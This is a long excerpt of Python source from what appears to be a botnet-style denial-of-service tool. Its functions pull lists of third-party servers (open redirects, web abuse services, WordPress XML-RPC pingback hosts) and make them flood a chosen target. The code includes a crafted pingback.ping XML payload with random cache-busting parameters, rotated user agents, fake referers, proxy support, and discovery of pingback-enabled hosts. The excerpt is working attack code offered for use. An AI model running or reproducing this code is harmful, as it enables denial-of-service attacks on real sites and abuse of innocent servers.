  4666. def discarding_zombies(self, zombie, zombies):
  4667. if zombie in self.discardzombies:
  4668. zombies.remove(zombie)
  4669. if self.options.verbose:
  4670. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4671. return zombies
  4672. def send_zombies(self, zombies):
  4673. # send Open Redirect zombies
  4674. time.sleep(1) # aiming (multi-threading flow time compensation)
  4675. if not self.options.disablepurge:
  4676. if not zombies:
  4677. self.empty_zombies = True
  4678. return
  4679. if self.options.verbose:
  4680. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4681. options = self.options
  4682. target = self.options.target
  4683. shuffle(zombies) # shuffle zombies order, each round :-)
  4684. if not self.options.disablepurge:
  4685. for zombie in zombies: # check if zombie is failing for autobalance army
  4686. if not zombie.startswith('http'): # discarded inmediately
  4687. self.discardzombies.append(zombie)
  4688. self.num_discard_zombies = self.num_discard_zombies + 1
  4689. zombies = self.discarding_zombies(zombie, zombies)
  4690. if not self.options.disablepurge:
  4691. if not zombies: # return when not any working
  4692. self.empty_zombies = True
  4693. return
  4694. for zombie in zombies:
  4695. t = urlparse(zombie)
  4696. name_zombie = t.netloc
  4697. if name_zombie == "":
  4698. name_zombie = zombie
  4699. if not self.options.attackme:
  4700. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4701. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4702. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4703. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4704. self.options.target = target
  4705. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4706. print("[Info] [Zombies] Payload: " + target)
  4707. print('='*55, "\n")
  4708. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4709. if not options.target.startswith('http'):
  4710. if options.forcessl:
  4711. options.target = "https://" + options.target
  4712. else:
  4713. options.target = "http://" + options.target
  4714. self.attack_mode = True
  4715. try:
  4716. if options.verbose:
  4717. print("[Info] [Zombies] Sniping: " + options.target)
  4718. self.connect_zombies(zombie)
  4719. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4720. self.db_flash = self.db_flash + 1
  4721. stress = self.stressing(target, zombie)
  4722. except Exception:
  4723. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4724. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4725. if not self.options.disablepurge:
  4726. self.discardzombies.append(zombie)
  4727. self.num_discard_zombies = self.num_discard_zombies + 1
  4728. if self.options.verbose:
  4729. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4730. self.attack_mode = False
  4731. def discarding_aliens(self, alien, aliens):
  4732. if alien in self.discard_aliens:
  4733. aliens.remove(alien)
  4734. if self.options.verbose:
  4735. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4736. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4737. return aliens
  4738. def send_aliens(self, aliens):
  4739. # extract external web abuse services urls (POST) and perform requests against target
  4740. time.sleep(2) # aiming (multi-threading flow time compensation)
  4741. if not self.options.disablepurge:
  4742. if not aliens: # return when not any working
  4743. self.options.disablealiens = True
  4744. return
  4745. target = self.options.target
  4746. options = self.options
  4747. shuffle(aliens) # shuffle aliens
  4748. if not self.options.disablepurge:
  4749. for alien in aliens:
  4750. if not alien.startswith('http'): # discarded inmediately
  4751. self.discard_aliens.append(alien)
  4752. self.num_discard_aliens = self.num_discard_aliens + 1
  4753. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4754. if not self.options.disablepurge:
  4755. if not aliens: # return when not any working
  4756. self.options.disablealiens = True
  4757. return
  4758. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4759. for alien in aliens:
  4760. name_alien = None
  4761. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4762. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4763. pattern_alien = re.compile(regex_alien)
  4764. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4765. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4766. pattern_param = re.compile(regex_param)
  4767. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4768. for u in alien_url:
  4769. url = u # ex: POST -> path/submit.php
  4770. try:
  4771. t = urlparse(url)
  4772. except:
  4773. pass
  4774. name_alien = t.netloc
  4775. if name_alien == "":
  4776. name_alien = alien
  4777. print("[Info] [Aliens] Attacking from: " + name_alien)
  4778. for p in param:
  4779. param_target = {p : target} # ex POST -> url=target
  4780. param_target = urllib.parse.urlencode(param_target)
  4781. try:
  4782. if options.verbose:
  4783. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4784. if options.proxy: # set proxy
  4785. self.proxy_transport(options.proxy)
  4786. if self.options.timeout: # set timeout
  4787. try:
  4788. alien_timeout = int(self.options.timeout)
  4789. except:
  4790. alien_timeout = 5
  4791. else:
  4792. alien_timeout = 5
  4793. if alien_timeout < 1:
  4794. alien_timeout = 5
  4795. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4796. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4797. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4798. except Exception:
  4799. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4800. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4801. if not self.options.disablepurge:
  4802. self.discard_aliens.append(alien)
  4803. self.num_discard_aliens = self.num_discard_aliens + 1
  4804. else:
  4805. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4806. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4807. if not self.options.disablepurge:
  4808. self.discard_aliens.append(alien)
  4809. self.num_discard_aliens = self.num_discard_aliens + 1
  4810. if self.options.verbose:
  4811. if name_alien:
  4812. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4813. else:
  4814. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4815. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4816. self.extra_zombies_lock = False # [ARMY] have finished
  4817. def extract_aliens(self):
  4818. # extract aliens from file
  4819. options = self.options
  4820. try:
  4821. f = open(self.aliens_file)
  4822. aliens = f.readlines()
  4823. aliens = [ alien.replace('\n','') for alien in aliens ]
  4824. f.close()
  4825. if not aliens:
  4826. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4827. self.options.disablealiens = True
  4828. return
  4829. else:
  4830. return aliens
  4831. except:
  4832. if os.path.exists(self.aliens_file) == True:
  4833. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4834. return #sys.exit(2)
  4835. else:
  4836. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4837. return #sys.exit(2)
  4838. def discarding_droids(self, droid, droids):
  4839. if droid in self.discard_droids:
  4840. droids.remove(droid)
  4841. if self.options.verbose:
  4842. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4843. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4844. return droids
  4845. def send_droids(self, droids):
  4846. # extract external web abuse services urls (GET) and perform requests against target
  4847. time.sleep(3) # aiming (multi-threading flow time compensation)
  4848. if not self.options.disablepurge:
  4849. if not droids: # return when not any working
  4850. self.options.disabledroids = True
  4851. return
  4852. target = self.options.target
  4853. try:
  4854. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4855. except:
  4856. target = urllib.parse.unquote(target)
  4857. if target.startswith('http://'): # remove http
  4858. target = target.replace('http://', '')
  4859. if target.startswith('https://'):
  4860. target = target.replace('https://', '') # remove https
  4861. options = self.options
  4862. shuffle(droids) # shuffle droids
  4863. if not self.options.disablepurge:
  4864. for droid in droids:
  4865. if not droid.startswith('http'): # discarded inmediately
  4866. self.discard_droids.append(droid)
  4867. self.num_discard_droids = self.num_discard_droids + 1
  4868. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4869. if not self.options.disablepurge:
  4870. if not droids: # return when not any working
  4871. self.options.disabledroids = True
  4872. return
  4873. shuffle(droids) # shuffle droids order, each discarding check :-)
  4874. for droid in droids:
  4875. name_droid = None
  4876. if "$TARGET" in droid: # replace droid/parameter for target
  4877. url = droid.replace("$TARGET", target)
  4878. t = urlparse(url)
  4879. name_droid = t.netloc
  4880. if name_droid == "":
  4881. name_droid = droid
  4882. print("[Info] [Droids] Attacking from: " + name_droid)
  4883. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4884. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4885. try:
  4886. if options.proxy: # set proxy
  4887. self.proxy_transport(options.proxy)
  4888. if self.options.timeout: # set timeout
  4889. try:
  4890. droid_timeout = int(self.options.timeout)
  4891. except:
  4892. droid_timeout = 5
  4893. else:
  4894. droid_timeout = 5
  4895. if droid_timeout < 1:
  4896. droid_timeout = 5
  4897. req = urllib.request.Request(url, None, headers)
  4898. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4899. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4900. except Exception:
  4901. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4902. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4903. if not self.options.disablepurge:
  4904. self.discard_droids.append(droid)
  4905. self.num_discard_droids = self.num_discard_droids + 1
  4906. else:
  4907. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4908. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4909. if not self.options.disablepurge:
  4910. self.discard_droids.append(droid)
  4911. self.num_discard_droids = self.num_discard_droids + 1
  4912. if self.options.verbose:
  4913. if name_droid:
  4914. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4915. else:
  4916. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4917. if self.options.disablerpcs and self.options.disableucavs:
  4918. self.extra_zombies_lock = False # [ARMY] have finished
  4919. def extract_droids(self):
  4920. # extract droids from file
  4921. options = self.options
  4922. try:
  4923. f = open(self.droids_file)
  4924. droids = f.readlines()
  4925. droids = [ droid.replace('\n','') for droid in droids ]
  4926. f.close()
  4927. if not droids:
  4928. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4929. self.options.disabledroids = True
  4930. return
  4931. else:
  4932. return droids
  4933. except:
  4934. if os.path.exists(self.droids_file) == True:
  4935. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4936. return #sys.exit(2)
  4937. else:
  4938. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4939. return #sys.exit(2)
  4940. def discarding_rpcs(self, rpc, rpcs):
  4941. if rpc in self.discard_rpcs:
  4942. rpcs.remove(rpc)
  4943. if self.options.verbose:
  4944. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4945. return rpcs
  4946. def send_rpcs(self, rpcs):
  4947. # extract vulnerable XML-RPC pingback services and perform requests against target
  4948. time.sleep(4) # aiming (multi-threading flow time compensation)
  4949. if not self.options.disablepurge:
  4950. if not rpcs: # return when not any working
  4951. self.options.disablerpcs = True
  4952. return
  4953. target = self.options.target
  4954. options = self.options
  4955. def random_key(length):
  4956. key = ''
  4957. for i in range(length):
  4958. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4959. return key
  4960. shuffle(rpcs) # shuffle rpcs
  4961. if not self.options.disablepurge:
  4962. for rpc in rpcs:
  4963. if not rpc.startswith('http'): # discarded inmediately
  4964. if not self.options.disablepurge:
  4965. self.discard_rpcs.append(rpc)
  4966. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4967. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4968. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4969. if not self.options.disablepurge:
  4970. if not rpcs: # return when not any working
  4971. self.options.disablerpcs = True
  4972. return
  4973. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4974. for rpc in rpcs:
  4975. t = urlparse(rpc)
  4976. name_rpc = t.netloc
  4977. if name_rpc == "":
  4978. name_rpc = rpc
  4979. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4980. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4981. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4982. key = random_key(8) # generate random value page to bypass cache
  4983. rpc_page = "?" + str(key)
  4984. key = random_key(6) # re-generate random value id to bypass cache
  4985. rpc_id = "=" + str(key)
  4986. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4987. if "/xmlrpc.php" in rpc:
  4988. rpc_place = rpc.replace("xmlrpc.php", "")
  4989. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4990. try:
  4991. if options.proxy: # set proxy
  4992. self.proxy_transport(options.proxy)
  4993. if self.options.timeout: # set timeout
  4994. try:
  4995. rpc_timeout = int(self.options.timeout)
  4996. except:
  4997. rpc_timeout = 5
  4998. else:
  4999. rpc_timeout = 5
  5000. if rpc_timeout < 1:
  5001. rpc_timeout = 5
  5002. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  5003. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  5004. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  5005. if self.options.verbose:
  5006. print("[Info] [X-RPCs] Reply:", target_reply)
  5007. except:
  5008. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  5009. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5010. if not self.options.disablepurge:
  5011. self.discard_rpcs.append(rpc)
  5012. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5013. else:
  5014. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  5015. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5016. if not self.options.disablepurge:
  5017. self.discard_rpcs.append(rpc)
  5018. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5019. if self.options.verbose:
  5020. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  5021. if self.options.disableucavs:
  5022. self.extra_zombies_lock = False # [ARMY] have finished
  5023. def extract_rpcs(self):
  5024. # extract rpcs from file
  5025. options = self.options
  5026. try:
  5027. f = open(self.rpcs_file)
  5028. rpcs = f.readlines()
  5029. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  5030. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  5031. f.close()
  5032. if not rpcs:
  5033. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5034. self.options.disablerpcs = True
  5035. return
  5036. else:
  5037. return rpcs
  5038. except:
  5039. if os.path.exists(self.rpcs_file) == True:
  5040. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5041. return
  5042. else:
  5043. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  5044. return
  5045. def extract_ntps(self):
  5046. # extract ntps from file
  5047. options = self.options
  5048. try:
  5049. f = open(self.ntps_file)
  5050. ntps = f.readlines()
  5051. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  5052. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  5053. f.close()
  5054. if not ntps:
  5055. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5056. return
  5057. else:
  5058. return ntps
  5059. except:
  5060. if os.path.exists(self.ntps_file) == True:
  5061. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5062. return
  5063. else:
  5064. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  5065. return
  5066. def extract_dnss(self):
  5067. # extract dnss from file
  5068. options = self.options
  5069. try:
  5070. f = open(self.dnss_file)
  5071. dnss = f.readlines()
  5072. dnss = [ dns.replace('\r','') for dns in dnss ]
  5073. dnss = [ dns.replace('\n','') for dns in dnss ]
  5074. f.close()
  5075. if not dnss:
  5076. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5077. return
  5078. else:
  5079. return dnss
  5080. except:
  5081. if os.path.exists(self.dnss_file) == True:
  5082. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5083. return
  5084. else:
  5085. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  5086. return
  5087. def extract_snmps(self):
  5088. # extract snmps from file
  5089. options = self.options
  5090. try:
  5091. f = open(self.snmps_file)
  5092. snmps = f.readlines()
  5093. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  5094. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  5095. f.close()
  5096. if not snmps:
  5097. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5098. return
  5099. else:
  5100. return snmps
  5101. except:
  5102. if os.path.exists(self.snmps_file) == True:
  5103. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5104. return
  5105. else:
  5106. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  5107. return
  5108. def extract_zombies(self):
  5109. options = self.options
  5110. if self.options.test:
  5111. try:
  5112. f = open(options.test)
  5113. zombies = f.readlines()
  5114. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5115. f.close()
  5116. if not zombies:
  5117. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5118. return
  5119. else:
  5120. return zombies
  5121. except:
  5122. if os.path.exists(options.test) == True:
  5123. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5124. return #sys.exit(2)
  5125. else:
  5126. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5127. return #sys.exit(2)
  5128. else:
  5129. try:
  5130. f = open(self.zombies_file)
  5131. zombies = f.readlines()
  5132. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5133. f.close()
  5134. if not zombies:
  5135. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5136. return
  5137. else:
  5138. return zombies
  5139. except:
  5140. if os.path.exists(self.zombies_file) == True:
  5141. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5142. return #sys.exit(2)
  5143. else:
  5144. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5145. return #sys.exit(2)
  5146. def extract_target_list(self):
  5147. options = self.options
  5148. try:
  5149. f = open(options.target_list)
  5150. targets = f.readlines()
  5151. targets = [ target.replace('\n','') for target in targets ]
  5152. f.close()
  5153. if not targets:
  5154. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5155. return
  5156. else:
  5157. return targets
  5158. except:
  5159. if os.path.exists(options.target_list) == True:
  5160. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5161. return #sys.exit(2)
  5162. else:
  5163. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5164. return #sys.exit(2)
  5165. def update_zombies(self, zombies_ready):
  5166. # update zombies on file
  5167. options = self.options
  5168. if options.attackme:
  5169. f = open(self.zombies_file, "w") # re-write list
  5170. for zombie in self.doll.real_zombies: # add only alien verified zombies
  5171. for x in zombie:
  5172. f.write(str(x) + os.linesep)
  5173. f.close()
  5174. if options.test or options.testall:
  5175. if not options.test:
  5176. options.test = self.zombies_file
  5177. f = open(options.test, "w") # re-write list only with zombies ready
  5178. for zombie in zombies_ready:
  5179. f.write(zombie + os.linesep)
  5180. f.close()
  5181. if options.search or options.dorks or options.autosearch or options.download or options.download_nodes: # append only new zombies to list (dorking supported)
  5182. f = open(self.zombies_file)
  5183. zombies_on_file = f.read().splitlines()
  5184. with open(self.zombies_file, "a") as zombie_list:
  5185. for zombie in zombies_ready:
  5186. if zombie not in zombies_on_file: # parse possible repetitions
  5187. zombie_list.write(zombie + os.linesep)
  5188. if options.download or options.download_nodes:
  5189. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5190. else:
  5191. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  5192. f.close()
  5193. def update_aliens(self, aliens_ready):
  5194. # update aliens on file
  5195. options = self.options
  5196. if options.download or options.download_nodes: # append only new aliens to list
  5197. f = open(self.aliens_file)
  5198. aliens_on_file = f.read().splitlines()
  5199. with open(self.aliens_file, "a") as alien_list:
  5200. for alien in aliens_ready:
  5201. if alien not in aliens_on_file: # parse possible repetitions
  5202. alien_list.write(alien + os.linesep)
  5203. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5204. f.close()
  5205. def update_droids(self, droids_ready):
  5206. # update droids on file
  5207. options = self.options
  5208. if options.download or options.download_nodes: # append only new droids to list
  5209. f = open(self.droids_file)
  5210. droids_on_file = f.read().splitlines()
  5211. with open(self.droids_file, "a") as droid_list:
  5212. for droid in droids_ready:
  5213. if droid not in droids_on_file: # parse possible repetitions
  5214. droid_list.write(droid + os.linesep)
  5215. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5216. f.close()
  5217. def update_ucavs(self, ucavs_ready):
  5218. # update ucavs on file
  5219. options = self.options
  5220. if options.download or options.download_nodes: # append only new ucavs to list
  5221. f = open(self.ucavs_file)
  5222. ucavs_on_file = f.read().splitlines()
  5223. with open(self.ucavs_file, "a") as ucav_list:
  5224. for ucav in ucavs_ready:
  5225. if ucav not in ucavs_on_file: # parse possible repetitions
  5226. ucav_list.write(ucav + os.linesep)
  5227. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5228. f.close()
  5229. def update_rpcs(self, rpcs_ready):
  5230. # update rpcs on file
  5231. options = self.options
  5232. if options.testrpc or options.testall:
  5233. f = open(self.rpcs_file, "w") # re-write list
  5234. for rpc in rpcs_ready: # add only rpc verified zombies
  5235. f.write(rpc + os.linesep)
  5236. f.close()
  5237. if options.download or options.download_nodes: # append only new rpcs to list
  5238. f = open(self.rpcs_file)
  5239. rpcs_on_file = f.read().splitlines()
  5240. with open(self.rpcs_file, "a") as rpc_list:
  5241. for rpc in rpcs_ready:
  5242. if rpc not in rpcs_on_file: # parse possible repetitions
  5243. rpc_list.write(rpc + os.linesep)
  5244. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5245. f.close()
  5246. def update_dnss(self, dnss_ready):
  5247. # update dns on file
  5248. options = self.options
  5249. if options.download or options.download_nodes: # append only new dns to list
  5250. f = open(self.dnss_file)
  5251. dnss_on_file = f.read().splitlines()
  5252. with open(self.dnss_file, "a") as dns_list:
  5253. for dns in dnss_ready:
  5254. if dns not in dnss_on_file: # parse possible repetitions
  5255. dns_list.write(dns + os.linesep)
  5256. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5257. f.close()
  5258. def update_ntps(self, ntps_ready):
  5259. # update ntps on file
  5260. options = self.options
  5261. if options.download or options.download_nodes: # append only new ntps to list
  5262. f = open(self.ntps_file)
  5263. ntps_on_file = f.read().splitlines()
  5264. with open(self.ntps_file, "a") as ntp_list:
  5265. for ntp in ntps_ready:
  5266. if ntp not in ntps_on_file: # parse possible repetitions
  5267. ntp_list.write(ntp + os.linesep)
  5268. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5269. f.close()
  5270. def update_snmps(self, snmps_ready):
  5271. # update snmps on file
  5272. options = self.options
  5273. if options.download or options.download_nodes: # append only new snmps to list
  5274. f = open(self.snmps_file)
  5275. snmps_on_file = f.read().splitlines()
  5276. with open(self.snmps_file, "a") as snmp_list:
  5277. for snmp in snmps_ready:
  5278. if snmp not in snmps_on_file: # parse possible repetitions
  5279. snmp_list.write(snmp + os.linesep)
  5280. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5281. f.close()
  5282. def search_rpc(self, rpc_host):
  5283. options = self.options
  5284. rpc_vulnerable = False
  5285. rpc_pingback_url = False
  5286. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5287. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5288. try:
  5289. if self.options.testall: # testing_all
  5290. if options.proxy: # set proxy
  5291. self.proxy_transport(options.proxy)
  5292. req = urllib.request.Request(rpc_host, None, headers)
  5293. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5294. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5295. for link in rpc_links:
  5296. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5297. rpc_pingback_url = link[0]
  5298. rpc_vulnerable = True
  5299. break # found it!
  5300. else: # not any XML-RPC discovering methods are working
  5301. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5302. rpc_vulnerable = False
  5303. else:
  5304. if rpc_host.startswith("http://"):
  5305. rpc_host = rpc_host.replace("http://", "")
  5306. if rpc_host.startswith("https://"):
  5307. rpc_host = rpc_host.replace("https://", "")
  5308. rpc_host = urlparse(rpc_host)
  5309. rpc_path = rpc_host.path.replace("\r", "")
  5310. self.head = True # send HTTP HEAD request searching for: X-Pingback
  5311. reply = self.connect_zombie(rpc_path)
  5312. self.head = False
  5313. if "X-Pingback" in reply: # discovering pingback-enabled resources
  5314. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  5315. rpc_pingback_url = m.group(1) # extract rpc server url
  5316. rpc_vulnerable = True
  5317. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  5318. if options.proxy: # set proxy
  5319. self.proxy_transport(options.proxy)
  5320. req_rpc = urllib.request.Request(rpc_host, None, headers)
  5321. req_rpc.get_method = lambda : 'GET'
  5322. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  5323. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5324. for link in rpc_links:
  5325. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5326. rpc_pingback_url = link[0]
  5327. rpc_vulnerable = True
  5328. break # found it!
  5329. else: # not any XML-RPC discovering methods are working
  5330. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5331. rpc_vulnerable = False
  5332. except: # something wrong discovering XML-RPC Pingback
  5333. pass
  5334. return rpc_vulnerable, rpc_pingback_url
  5335. def testing_offline(self):
  5336. # check for zombies offline
  5337. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  5338. print('='*35)
  5339. zombies_online = 0
  5340. zombies_offline = 0
  5341. zombies = self.extract_zombies()
  5342. rpcs = self.extract_rpcs()
  5343. aliens = self.extract_aliens()
  5344. droids = self.extract_droids()
  5345. ucavs = self.extract_ucavs()
  5346. try:
  5347. botnet = zombies + rpcs + aliens + droids + ucavs
  5348. except:
  5349. return
  5350. discarded = [] # for discarded zombies
  5351. if not botnet:
  5352. return
  5353. self.head = True
  5354. for zombie in botnet:
  5355. zombie = str(zombie)
  5356. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  5357. zombie_type = 'Zombie'
  5358. elif zombie in rpcs:
  5359. zombie_type = 'XML-RPC'
  5360. elif zombie in aliens:
  5361. zombie_type = 'Alien'
  5362. elif zombie in droids:
  5363. zombie_type = 'Droid'
  5364. elif zombie in ucavs:
  5365. zombie_type = 'UCAV'
  5366. t = urlparse(zombie)
  5367. name_zombie = t.netloc
  5368. if name_zombie == "":
  5369. name_zombie = zombie
  5370. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  5371. sep = ';$POST;'
  5372. zombie = zombie.split(sep, 1)[0]
  5373. try:
  5374. reply = str(self.connect_zombie(zombie))
  5375. except:
  5376. reply = None
  5377. if reply:
  5378. if reply == "200" or reply == "301" or reply == "302":
  5379. status = "ONLINE! -> [OK!]"
  5380. else:
  5381. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  5382. zombies_online = zombies_online + 1
  5383. else:
  5384. status = "NOT Working!"
  5385. zombies_offline = zombies_offline + 1
  5386. print("\nName:", name_zombie)
